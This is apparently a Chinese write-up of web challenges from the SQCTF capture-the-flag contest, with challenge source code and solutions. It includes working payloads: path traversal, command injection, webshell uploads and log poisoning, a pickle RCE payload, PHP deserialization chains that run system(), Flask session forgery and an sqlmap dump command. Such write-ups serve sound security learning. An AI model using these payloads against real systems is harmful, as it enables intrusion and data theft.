商丘SQCTF 部分题目WP
File_download

根据源码可以知道这有个隐藏表单,提示我们存在下载

根据help.jsp的get or post filename to /DownloadServlet ?,要求我们去传参一个filename
我们先去读一读index.jsp

可以明显知道这个登录界面是个幌子,这题的突破口是下载和读取文件,并可以发现语言用的是java语言。
再者题目提示我们用xml,不难想到/DownloadServlet?filename=/WEB-INF/web.xml

这里有两个servlet,猜测flag应该就在Flagmanager中,我们进行读取
/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class
但提示我们一个这个

然后我想了很久,猜测这边可能会用POST请求,get请求应该会过滤后缀,果然

得到了.class的字节码
反编译后得到
import com.ctf.flag.FlagManager;
import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;
public class FlagManager extends HttpServlet {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("Please input your flag: ");
String str = sc.next();
System.out.println("Your input is: ");
System.out.println(str);
char[] stringArr = str.toCharArray();
Encrypt(stringArr);
}
public static void Encrypt(char[] arr) {
ArrayList<Integer> Resultlist = new ArrayList<>();
for (int i = 0; i < arr.length; i++) {
int result = arr[i] + 38 ^ 0x30;
Resultlist.add(Integer.valueOf(result));
}
int[] key = {
110, 107, 185, 183, 183, 186, 103, 185, 99, 105,
105, 187, 105, 99, 102, 184, 185, 103, 99, 108,
186, 107, 187, 99, 183, 109, 105, 184, 102, 106,
106, 188, 109, 186, 111, 188
};
ArrayList<Integer> Keylist = new ArrayList<>();
for (int j = 0; j < key.length; j++) {
Keylist.add(Integer.valueOf(key[j]));
}
System.out.println("Result: ");
if (Resultlist.equals(Keylist)) {
System.out.println("Congratulations! ");
} else {
System.out.println("Error! ");
}
}
}
我们再写一个脚本即可
import java.util.ArrayList;
public class GetFlag {
public static void main(String[] args) {
int[] key = {
110, 107, 185, 183, 183, 186, 103, 185, 99, 105,
105, 187, 105, 99, 102, 184, 185, 103, 99, 108,
186, 107, 187, 99, 183, 109, 105, 184, 102, 106,
106, 188, 109, 186, 111, 188
};
StringBuilder flag = new StringBuilder();
for (int i = 0; i < key.length; i++) {
char c = (char) ((key[i] ^ 0x30) - 38);
flag.append(c);
}
System.out.println("Flag: " + flag.toString());
}
}

My Blog

点击,得到一份pdf,得到admin/secret123的后台密码,盲猜登录点为login.php

baby include
<?php
if(isset($_GET['look'])){
// Great, it's the file inclusion master, we have a save !!!
$look = $_GET['look'];
$look = str_replace("php", "!!!", $look);
$look = str_replace("data", "!!!", $look);
$look = str_replace("filter", "!!!", $look);
$look = str_replace("input", "!!!", $look);
include($look);
}else{
highlight_file(__FILE__);
}
?>
看到这种题 直接访问日志UA头插入一句话木马


嘿嘿嘿
<?php
highlight_file(__FILE__);
class hhh {
public $file;
public $content;
public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}
public function __destruct() {
if ($this->file && $this->content) {
if (strpos($this->file, 'flag') !== false) {
die("No flag file!");
}
if (file_exists($this->file)) {
die("File already exists!");
}
file_put_contents($this->file, $this->content);
}
}
}
class xxx {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __toString() {
return $this->data;
}
}
class yyy {
public $path;
public $allowed;
public function __construct($path, $allowed) {
$this->path = $path;
$this->allowed = $allowed;
}
public function __toString() {
if ($this->allowed) {
return file_get_contents($this->path);
} else {
return "Access Denied!";
}
}
}
if (isset($_POST['data'])) {
$data = unserialize($_POST['data']);
if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
die("No cheating!");
}
if (strpos($data->file, 'php://') !== false) {
die("No php protocol!");
}
if ($data->content === "GET_FLAG") {
echo "Flag: " . file_get_contents("flag.php");
}
}
?>
要构造一个反序列化链来获取flag,关键在于让$data->content等于"GET_FLAG",并绕过所有检查条件。以下是构造payload的步骤:
- 分析目标条件:最后的
if ($data->content === "GET_FLAG")直接决定是否输出flag。因此,反序列化的对象必须使content属性为"GET_FLAG"。 - 绕过文件检查:
file不能是数组,且其md5不能等于md5("flag.php")。file不能包含php://协议。
- 构造hhh对象:因为只有
hhh类有file和content属性,且需通过检查。 - 生成序列化字符串:创建
hhh对象,设置file为任意合法值(如test.txt),content为"GET_FLAG"。
<?php
class hhh {
public $file = "test.txt";
public $content = "GET_FLAG";
}
$obj = new hhh();
echo urlencode(serialize($obj));
?>
O%3A3%3A%22hhh%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22test.txt%22%3Bs%3A7%3A%22content%22%3Bs%3A8%3A%22GET_FLAG%22%3B%7D

别阴阳我了行吗?
就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ?
阴阳怪气解密得到
SQCTF{xm!tql!xm!}
春风得意马蹄疾
社会主义核心价值观多次解密

唯一

直接fenjing一把梭

Through

发现file可以读取文件,多次尝试可以读取index.php

那我们就可以目录穿越读取
我们发现有对../进行了过滤,双写就可以绕过

Ping
<?php
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];
if (strpos($ip, ';') !== false) {
die('Hacker detected!');
}
system("ping -c 1 " . $ip);
} else {
highlight_file(__FILE__);
}
?>
/?ip=1 || cat /flag
Input a number
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['sqctf'])){
$num = $_GET['sqctf'];
if($num==114514){
die("逸一时, 误一世!");
}
if(intval($num,0)==114514){
echo $flag;
}else{
echo "看看你输入的数字: ".intval($num,0);
}
}
?>
直接八进制绕过就可以
/?sqctf=0337522
baby rce
<?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);
$token = false;
if(isset($param1) && isset($param2)){
if(sha1($param1) == sha1($param2)){
$token = true;
echo "Level 1 pass\n";
}
}
class TYctf{
public $person = 20;
public $computer_number = 30;
function getNumber(){
if(isset($this->person)) {
echo $this->person;
}
}
function isFullUse(){
if($this->person != $this->computer_number){
echo "computer is lacking !!!\n";
}
else{
echo "computer is enough !!!\n";
}
}
static function getKey(){
include ("flag.php");
echo "Level 2 pass\n";
echo "You are winner, this is your reward: \n";
echo $flag;
}
}
if($token){
call_user_func($_POST['payload']);
}
?>
先绕过第一步
直接数组绕过param1[]=1¶m2[]=2
看到static直接想到静态访问getKey()方法
所以payload=TYctf::getKey

小小查询系统
先传一个id=1,id=2,发现这是一个sql注入,直接sqlmap一把梭
python sqlmap.py -u "http://challenge.qsnctf.com:30163/?id=2" --batch -D ctf -T flag -C value --dump

RceMe
<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
system($command);
} else {
print("你小子干什么呢?");
}
长度限5绕过
可以反弹shell 也可以构造命令执行
我这里直接用个nl就行(不知道算不算非预期)
?com=nl /*

Upload_Level2

1.php中写入一句话木马


将content-type头改成image/png
发包

然后连接或者直接命令执行就行

Ez_calculate
脚本题(代码能力有限,比较丑陋ahhh)
import requests
import time
from lxml import etree
url="http://challenge.qsnctf.com:31858/"
res=requests.session()
response=res.get(url)
print(response.text)
tree=etree.HTML(response.text)
text=tree.xpath("/html/body/div[1]/text()")
print(text[0])
num=eval(text[0])
print(num)
url_tijiao="http://challenge.qsnctf.com:31858/"
response=res.post(url=url_tijiao,data={'value':num})
print(response.text)
然后访问/flag
!!!尝试后发现这题/flag没有设置什么cookie和一些头,可以直接读取/flag
白月光

SSTI模板注入
直接fenjing
无参之舞
f12查看源代码

得知用户名sqctf

302重定向得知密码为1q2w3e4r

无参读取文件
?exp=echo var_dump(scandir(current(localeconv())));
?exp=echo file_get_contents('f1ag.php');
补充
show_source(array_rand(array_flip(scandir(dirname(dirname(dirname(getcwd())))))));
哎呀大大大黑塔
脑洞题,最后值为PV的bv号
<?php
class Secret {
public $key;
public function __construct($key) {
$this->key = $key;
}
public function __destruct() {
if ($this->key === "SQCTF") {
include "./flag.php";
echo "flag : ".$flag;
} else {
echo "Try harder!";
}
}
}
if (isset($_POST['data'])) {
$data = $_POST['data'];
$obj = unserialize($data);
} else {
highlight_file(__FILE__);
}
?>
<?php
class Secret {
public $key;
}
$obj = new Secret();
$obj->key = "SQCTF";
echo serialize($obj);
?>
O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}
piet

开发人员的小失误
/backup.sql获取源码
-- 创建数据库
CREATE DATABASE IF NOT EXISTS tyctf;
USE tyctf;
-- 创建user表
CREATE TABLE IF NOT EXISTS user (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
password VARCHAR(255) NOT NULL,
gender ENUM('male', 'female', 'other') NULL,
birthday DATE NULL
);
-- 创建secret表
CREATE TABLE IF NOT EXISTS secret (
id INT PRIMARY KEY,
value VARCHAR(255) NOT NULL
);
-- 创建image表
CREATE TABLE IF NOT EXISTS image (
imgName VARCHAR(100) NOT NULL,
date DATE NOT NULL,
source VARCHAR(255) NOT NULL
);
-- 向secret表插入数据
INSERT INTO secret (id, value) VALUES (1, 'sqctf{c2a50e1af0004cd19e6ea24045acca37}');
伪装
from flask import Flask, session, request, render_template_string
import flask
import os
app = Flask(__name__)
app.secret_key = 'love'
@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'name': 'aiyamaya'
}
with open(__file__, 'r') as file:
code = file.read()
return code
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'
if role.get('is_admin') == 1 and role.get('name') == 'sjx':
flag = os.popen("cat /flag").read()
message = "Oh, You get me! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
先写一个脚本获取一个带有{ 'is_admin': 0, 'name': 'aiyamaya' }的cookie
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = 'love'
# Create the desired session data
session_data = {
'role': {
'is_admin': 1,
'name': 'sjx'
}
}
# Generate the signed session cookie
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = session_serializer.dumps(session_data)
print("Session Cookie:", cookie)


Are you from SQNU?

图片展示功能
经过多次尝试 发现.user.ini传不上,但是.htaccess可以

然后上传一张带木马的jpg

上传成功进行命令执行

pickle
python pickle反序列化
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('tac /flag').read()",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

自私的小s

抓包后发现存在end.php
<?php
highlight_file(__FILE__);
class Genshin_impact{
private $value;
public function __construct($v){
$this->value = $v;
}
function __destruct(){
echo eval($this->value);
}
}
$payload=$_GET['payload'];
$payload=str_replace("%","nonono",$payload);
unserialize($payload);
?>
我们不难发现这里有个坑 url编码会进行自动解码 所以这里的str_replace似乎并没有什么用,然后当作正常反序列化来做就行
我们可以先进行本地测试
<?php
highlight_file(__FILE__);
class Genshin_impact{
private $value;
public function __construct($v){
$this->value = $v;
}
function __destruct(){
echo eval($this->value);
}
}
$a = new Genshin_impact('system($_POST[a]);');
echo urlencode(serialize($a));

O%3A14%3A%22Genshin_impact%22%3A1%3A%7Bs%3A21%3A%22%00Genshin_impact%00value%22%3Bs%3A18%3A%22syst
em%28%24_POST%5Ba%5D%29%3B%22%3B%7D

Look for the homepage

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
// 怎么在不知道flag.php中的code和flag的情况下绕过? 我不造啊!!!
if(isset($_GET['pass1']) && isset($_GET['pass2']) && isset($_GET['verify'])){
$pass1 = (String)$_GET['pass1'];
$pass2 = (String)$_GET['pass2'];
$verify_code = (String)$_GET['verify'];
if($verify_code === $code &&$pass1 === $flag || $pass2 === "welcome"){
echo "Level1 Pass\n";
echo "关关难过关关过 !!!";
if(isset($_POST['value1'])){
$value1 = $_POST['value1'];
$value3 = $_GET['value3'];
parse_str($value1,$a);
if($a['fly']==md5($value3)){
echo "Level2 Pass\n";
echo $flag;
}
}
else{
echo "想想看parse_str是干嘛的来着\n";
}
}
else{
echo "你小子就是这样绕过的吗 ???\n";
}
}
level1我们可以使用变量覆盖绕过
challenge.php?pass1=$flag&pass2=welcome&verify=$code
level2种parse_str用法

所以我们构造fly=0和value3的md5值为0e开头就行

GET: pass1=$flag&pass2=welcome&verify=$code&value3=240610708
POST: value1=fly=0
千查万别

/view?doc=/proc/1/environ
然后搜flag就行

浙公网安备 33010602011771号